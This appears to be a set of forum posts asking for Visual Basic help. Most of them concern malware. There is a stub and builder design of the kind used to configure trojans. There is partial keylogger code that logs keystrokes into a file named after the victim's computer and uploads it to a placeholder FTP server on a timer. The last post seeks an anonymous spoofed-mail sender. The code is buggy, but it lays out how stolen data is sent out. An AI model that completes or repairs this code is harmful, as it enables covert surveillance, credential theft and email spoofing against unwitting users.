Hi Guys,
This code is like a winsock tutorial, it explains how to send files to any ip using winsock.I've assumed that the reader knows only the basics of winsock...so i've explained in it.


Reference Page:
http://pscode.com/vb/scripts/ShowCode.asp?txtCodeId=70859&lngWId=1


FOR DOWNLOAD
http://rapidshare.de/files/40802390/Filetransfer.rar.html

Thx

Hi friends,
My question is that:
I have two source code.And I try to make one program.

Firs source code name is:stub
Second source code name is: Builder

Stub has a text box on form.
Builder has a textbox and a command buton on form.

I get it stub.exe into builder.exe and I wanna make when Builder make a new exe file,  on builder's text box write to stub's text.box!

Example Picture:


How can I make it on vb?
What is example code, please help me!

Hi guys
I have a problem, when I make this I took permission denied error.
I supposed , I can't set of timers intervals.
Please help me , try this code on your vb.
We should make this working thanks, why I get error?
The Timers intervalls must have=?????? sec.
I need your help.

Private Sub Form_Load()
Timer5.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send d:\" & Date$ & "on.txt " & Date$ & "on.txt"
'Inet1.Execute Inet1.URL, "Send d:\" & Dosyaadi & " " & Dosyaadi
Timer6.Enabled = True
End Sub

Private Sub Timer2_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "http://ftp://adress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
'Timer3.Enabled = False
'Timer1.Enabled = True
End Sub

Private Sub Timer3_Timer()

'Dim Dosyaadi As String
'Dim fullyol As String
'Dosyaadi = Environ("Computername") & ".log"
'fullyol = App.Path & "\" & Dosyaadi
'Open Dosyaadi For Append As #1
Open Date$ & "on.txt " For Append As #1
Print #1, Text1.Text
Close #1
Timer4.Enabled = True
'Timer1.Enabled = False

End Sub

Private Sub Timer4_Timer()

Timer3.Enabled = False
Timer1.Enabled = True
End Sub

Private Sub Timer5_Timer()
Timer2.Enabled = True
Timer3.Enabled = True
Timer1.Enabled = False

End Sub

Private Sub Timer6_Timer()
Timer1.Enabled = False
Timer5.Enabled = True
End Sub

Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
 error es: Runtype Miss match

código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

¿Dónde está mal?

Thx for help

Hi friends,
I have a question about using inet and senkeys.
Program makes when pressing a,l,p,e,r letters on keyboard,
the program should save this letters on a txt file.and every 15 minutes it should upload this txt files to my ftp.
(note: txt files name is must be computer name for example. cafeplus.txt)
So I need your help my friends If you help me I wanna become very happy.
I try to make something (at down you see)  but code has a lot of missings.
Please help me its my homework.
Thanks

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long

Private Sub form_load()
Inet1.URL = "http://ftp://adress.com"
Inet1.RemoteHost = "http://ftp://adress.com"
Inet1.Protocol = icFTP
Inet1.Password = "******"
Inet1.UserName = "******"
Inet1.RequestTimeout = 40
Timer1.Enabled = True
End Sub


Private Sub Timer1_Timer()
Inet1.Execute , "SEND C:\Computername.txt Computername.txt" & vbCrLf
End Sub

Hi guys,
How are you?I cant speak spanish so I must be write in english.I am sorry for this.
I have a question about using webforms in Vb and I supposed you can answer to me easily.
A few days ago I try to make an anounymous mail sender  program in vb.But I couldn't make it.
I try to use this adress:
http://www.fakemailer.info
-------------------------------
'and I use this codes:

Private Sub Command1_Click()
wb.Document.Forms(0).elements(0).Value = Text1.Text
wb.Document.Forms(0).elements(1).Value = Text2.Text
wb.Document.Forms(0).elements(2).Value = Text3.Text
wb.Document.Forms(0).elements(3).Value = Text4.Text
wb.Document.Forms(0).elements(4).Value = Text5.Text
wb.Document.Forms(0).elements(5).Value = Text6.Text
wb.Document.Forms(0).elements(6).Click
End Sub

Private Sub Form_Load()
wb.Navigate "http://www.fakemailer.info"

---------------------------------------------------------------------------------

But it didn't work, and then I tried other ways."All.item",Document.Form1 as.
But I Couldn't.
Is anybody helpme about this?

I cant use inet, if you make an working example I will became very happy.
Thanks for your help.

                                                                       Best Regards
                                                                        ODESA